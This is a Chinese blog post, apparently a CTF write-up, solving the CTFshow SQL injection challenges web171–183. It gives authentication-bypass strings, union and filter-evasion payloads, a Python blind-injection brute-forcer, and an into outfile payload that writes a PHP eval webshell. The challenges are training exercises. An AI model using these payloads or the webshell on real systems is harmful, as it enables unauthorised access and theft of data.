【CTF】CTFshow-SQL注入（持续更新）
就剩一年的大学时光了，最近也很迷茫，想找实习，又得考托福，又想提前开始毕设，假期前又要上学校安排的实训，马上还又有一门考试，事情一堆，但又感觉整天不知道自己应该做什么。
在过完了我给自己安排的两个gap day后，想着那就索性照着实训的安排给自己再简简单单过一遍SQL注入吧，顺便把CTFshow刷一刷。
万能密码
普通万能密码：
' or 1=1#
' or 1=1--+
骚套路万能密码：
ffifdyop
经过md5加密后：276f722736c95d99e921722cf9ed621c
再转换为字符串：'or'6<乱码> 即 `'or'66�]��!r,��b`
select * from admin where password=''or'6<乱码>'
就相当于select * from admin where password=''or 1 实现sql注入
新型万能密码：
（刚看到的一个网站中写到的）
当所有能用的东西都被过滤了，即可使用：
username = secpulse'=' password = secpulse'='
拼接起来就是：
select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行： 数据库没有secpulse这个用户，结果是false false = '' 结果就是true
CTFshow-web171：
payload：
1' or 1=1%23
Union联合注入
找到注入点后，用order by判断列数，构造payload，即可在联合查询中执行自己所想执行的查询命令
CTFshow-web172：
payload：
题目：
会判断username中是否存在flag字样：
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
SQL源码：
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
因为username中不能出现flag字符串，可以用hex编码或base64绕过：
payload1:
-1' union select hex(username),password from ctfshow_user2 where username='flag
payload2:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag
CTFshow-web173：
和web172不同的是这题对回显的内容也做了判断
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
payload：
1' union select 1,2,password from ctfshow_user3 where username='flag'%23
CTFshow-web174：
replace替换绕过过滤
从源码看出本题不允许返回的内容中有数字，可以使用replace将各个被过滤的字符进行替换，收到后再将其替换回即可：
构造替换脚本：
i = 0
s = f"replace(password,'{i}','xx{chr(i + 65)}')"
for i in range(1,10):
s = f"replace({s},'{i}','xx{chr( i + 65)}')"
print(s)
通过replace的替换，可以将返回值中的数字都替换成指定的xxX形式的字符串，然后将得到的结果在替换回来并解码即可：
rsl='xxGxxDxxHxxExxGxxGxxHxxDxxGxxIxxGFxxHxxHxxHBxxGxxFxxDxxGxxDxxHxxGxxDxxD' \
'xxHxxDxxCxxGxxBxxDxxHxxCDxxDxxGxxGxxCxxGxxDxxDxxAxxCDxxDxxExxGxxExxGxxExxD' \
'xxFxxCDxxDxxIxxDxxIxxGxxBxxDxxIxxCDxxGxxDxxGxxDxxDxxGxxGxxGxxDxxFxxGxxGxxDxx' \
'FxxDxxAxxDxxBxxGxxDxxDxxDxxGxxBxxHD'
rsl=rsl.replace('xxA','0').replace('xxB','1').replace('xxC','2').replace('xxD','3').replace('xxE','4')\
.replace('xxF','5').replace('xxG','6').replace('xxH','7').replace('xxI','8').replace('xxJ','9')
flag = bytes.fromhex(rsl).decode("ascii")
print(flag)
注入点写文件
CTFshow-web175
从本题逻辑可以看出，本题不允许返回hex编码为0x00-0x7f区域内的内容，因此本题是无法正常返回我们的查询结果的，可以考虑使用into outfile的方法将一句话木马写到指定的文件中，使用蚁剑：
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
payload：
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php
蚁剑连接后在config.php中找到数据库的用户密码，登录即可查询flag
$dbhost ="127.0.0.1";
$dbuser = "root";
$dbpwd = "root";
$dbname = "ctfshow_web";
$charName = "utf-8";
SELECT * from ctfshow_user5;
绕过select过滤
CTFshow-web176：
这题使用先想到用联合查询，但发现被过滤了，但是！这题原来用万能密码就能出：
payload：
1' or 1=1--+
绕过空格过滤
CTFshow-web177
payload：
1'/**/or/**/1=1%23
CTFshow-web178
过滤了#、–、/**/(反正都用不了)，用%0a代替空格构造
payload：
-1'%0aunion%0aselect%0a1,group_concat(password),3%0afrom%0actfshow_user%23
CTFshow-web179
本题把%0a也给过滤了，使用%0c也可以实现绕过空格的效果
payload：
1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
CTFshow-web180
这题多过滤了一个%23注释，就用单引号闭合的方式吧
payload:
-1'union%0cselect%0c1,group_concat(password),3%0cfrom%0cctfshow_user%0cwhere'1'='1
CTFshow-web181
题目：
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
本题过滤的有点彻底，看了其他师傅的WP后，原来还可以：
0'||username='flag
在MySQL中，||表示的是或符号，由于前方的id为0时无数据，因此会显示username=‘flag的内容。
CTFshow-web182
题目
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
payload：
-1'or(id=26)and'1'='1
盲注
盲注可以分为时间盲注和布尔盲注
时间盲注：
使用if判断、sleep函数，通过页面的回显时间是否存在延时来判断是否可注入。
布尔盲注：
通过页面的返回状态进行拆解
CTFshow-web183
题目：
waf部分：
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
sql部分：
$sql = "select count(pass) from ".$_POST['tableName'].";";
过滤较多，常规的盲注用不了，可以考虑使用Mysql的正则regexp
基本用法：
select * from table_name where name like 'Sunny';
select * from table_name where name regexp 'Sunny';
select column_name from table_name where column regexp 'flag|ctfshow'
select column_name from table_name where column regexp '[0-9]test'
本题参数使用的post传参，exp：
import requests
import string
url="http://6c365f8a-328f-4768-b99a-e75bc2a72ddd.challenge.ctf.show/select-waf.php"
flag=""
strr=string.ascii_lowercase+"_-{}"+string.digits
for i in range(50):
for j in strr:
payload = "(ctfshow_user)where(pass)regexp\"ctfshow{" + flag + j +"\""
data = {
"tableName": payload
}
re = requests.post(url, data=data)
if "$user_count = 1" in re.text:
flag += j
if flag[-1] == '}':
print(flag)
这题exp很奇怪，我刚开始在找到一个能够正常回显的flag字符位的时候就break跳出这一位的判断，但是当匹配到0}的时候居然也能够正常返回，最后出来的flag就怪怪的，后面看了其他师傅的wp改了一下就正常了。
